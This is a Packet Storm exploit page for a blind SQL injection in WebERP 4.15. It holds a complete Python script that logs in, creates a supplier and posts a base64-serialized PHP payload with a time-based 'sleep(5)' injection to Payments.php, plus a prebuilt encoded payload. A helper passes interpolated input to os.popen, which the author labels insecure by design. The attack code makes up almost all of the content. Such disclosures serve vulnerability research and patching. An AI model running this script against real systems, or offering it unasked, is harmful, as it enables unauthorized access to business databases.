exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WebERP 4.15 SQL Injection

WebERP 4.15 SQL Injection
Posted Jun 20, 2019
Authored by Semen Alexandrovich Lyhin

WebERP version 4.15 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 2ae97211f9bef8e2b1a722e739da6be15ea90dd4853fa935f74ecbf9063d7ac4

WebERP 4.15 SQL Injection

Change Mirror Download
# Exploit Title: Blind SQL injection in WebERP.
# Date: June 10, 2019
# Exploit Author: Semen Alexandrovich Lyhin (https://www.linkedin.com/in/semenlyhin/)
# Vendor Homepage: http://www.weberp.org/
# Version: 4.15

# A malicious query can be sent in base64 encoding to unserialize() function. It can be deserialized as an array without any sanitization then.
# After it, each element of the array is passed directly to the SQL query.

import requests
import base64
import os
import subprocess
from bs4 import BeautifulSoup
import re
import time
import sys

def generatePayload(PaidAmount="0",PaymentId="0"):
#THIS FUNCTION IS INSECURE BY DESIGN
ToSerialize = r"[\"%s\" => \"%s\"]" % (PaymentId, PaidAmount)
return os.popen("php -r \"echo base64_encode(serialize(" + ToSerialize + "));\"").read()

def getCookies(ip, CompanyNameField, usr, pwd):
r = requests.get("http://" + ip + "/index.php")
s = BeautifulSoup(r.text, 'lxml')
m = re.search("FormID.*>", r.text)
FormID = m.group(0).split("\"")[2]

data = {"FormID":FormID,"CompanyNameField":CompanyNameField,"UserNameEntryField":usr,"Password":pwd,"SubmitUser":"Login"}
r = requests.post("http://" + ip + "/index.php", data)

return {"PHPSESSIDwebERPteam":r.headers["Set-Cookie"][20:46]}


def addSupplierID(name, cookies, proxies):
r = requests.get("http://" + ip + "/Suppliers.php", cookies=cookies)
s = BeautifulSoup(r.text, 'lxml')
m = re.search("FormID.*>", r.text)
FormID = m.group(0).split("\"")[2]

data = {"FormID":FormID,"New":"Yes","SupplierID":name,"SuppName":name,"SupplierType":"1","SupplierSince":"01/06/2019","BankPartics":"","BankRef":"0",
"PaymentTerms":"20","FactorID":"0","TaxRef":"","CurrCode":"USD","Remittance":"0","TaxGroup":"1","submit":"Insert+New+Supplier"}

requests.post("http://" + ip + "/Suppliers.php", data=data,cookies=cookies,proxies=proxies)


def runExploit(cookies, supplier_id, payload, proxies):
r = requests.get("http://" + ip + "/Payments.php", cookies=cookies)
s = BeautifulSoup(r.text, 'lxml')
m = re.search("FormID.*>", r.text)
FormID = m.group(0).split("\"")[2]

data = {"FormID":FormID,
"CommitBatch":"2",
"BankAccount":"1",
"DatePaid":"01/06/2019",
"PaidArray":payload}

requests.post("http://" + ip + "/Payments.php?identifier=1559385755&SupplierID=" + supplier_id, data=data,cookies=cookies,proxies=proxies)


if __name__ == "__main__":
#proxies = {'http':'127.0.0.1:8080'}
proxies = {}

if len(sys.argv) != 6:
print '(+) usage: %s <target> <path> <login> <password> <order>' % sys.argv[0]
print '(+) eg: %s 127.0.0.1 "weberp/webERP/" admin weberp 1' % sys.argv[0]
print 'Order means the number of company on the website. Can be gathered from the login page and usually equals 0 or 1'
exit()

ip = sys.argv[1] + "/" + sys.argv[2]

#if don't have php, set Payload to the next one to check this time-based SQLi: YToxOntpOjA7czoyMzoiMCB3aGVyZSBzbGVlcCgxKT0xOy0tIC0iO30=
#payload = generatePayload("0 where sleep(1)=1;-- -", "0")

payload = generatePayload("0", "' or sleep(5) and '1'='1")

#get cookies
cookies = getCookies(ip, sys.argv[5], sys.argv[3], sys.argv[4])

addSupplierID("GARUMPAGE", cookies, proxies)

t1 = time.time()
runExploit(cookies, "GARUMPAGE", payload, proxies)
t2 = time.time()

if (t2-t1>4):
print "Blind sqli is confirmed"
else:
print "Verify input data and try again"
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    41 Files
  • 30
    Aug 30th
    13 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close